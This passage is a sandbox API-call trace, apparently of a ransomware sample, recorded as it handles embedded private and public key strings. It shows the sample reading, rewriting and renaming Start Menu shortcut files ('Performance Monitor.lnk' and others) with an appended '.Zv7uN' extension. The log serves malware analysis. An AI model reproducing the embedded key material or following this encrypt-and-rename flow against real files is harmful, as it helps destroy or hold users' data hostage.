lpUsedDefaultChar=0x0) returned 2469 [0132.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.723] GetCurrentThreadId () returned 0xa30 [0132.723] GetCurrentThreadId () returned 0xa30 [0132.723] GetCurrentThreadId () returned 0xa30 [0132.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.724] GetCurrentThreadId () returned 0xa30 [0132.724] GetCurrentThreadId () returned 0xa30 [0132.724] GetCurrentThreadId () returned 0xa30 [0132.724] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.724] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0132.724] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.724] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4d0 [0132.724] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.725] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x4d0, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0x4d0, lpOverlapped=0x0) returned 1 [0132.728] CloseHandle (hObject=0x1e8) returned 1 [0132.728] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.730] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0x4d0, lpOverlapped=0x0) returned 1 [0132.733] CloseHandle (hObject=0x1e8) returned 1 [0132.733] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk.zv7un")) returned 1 [0132.734] GetCurrentThreadId () returned 0xa30 [0132.734] GetCurrentThreadId () returned 0xa30 [0132.734] GetCurrentThreadId () returned 0xa30 [0132.734] GetCurrentThreadId () returned 0xa30 [0132.734] GetCurrentThreadId () returned 0xa30 [0132.734] GetCurrentThreadId () returned 0xa30 [0132.735] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x806d09e0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x806d09e0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8071cca0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Print Management.lnk", cAlternateFileName="PRINTM~1.LNK")) returned 1 [0132.735] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0132.735] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.735] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x806d09e0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x806d09e0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8071cca0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4ee)) returned 1 [0132.736] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk")) returned 0x20 [0132.736] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk", dwFileAttributes=0x80) returned 1 [0132.738] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.738] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 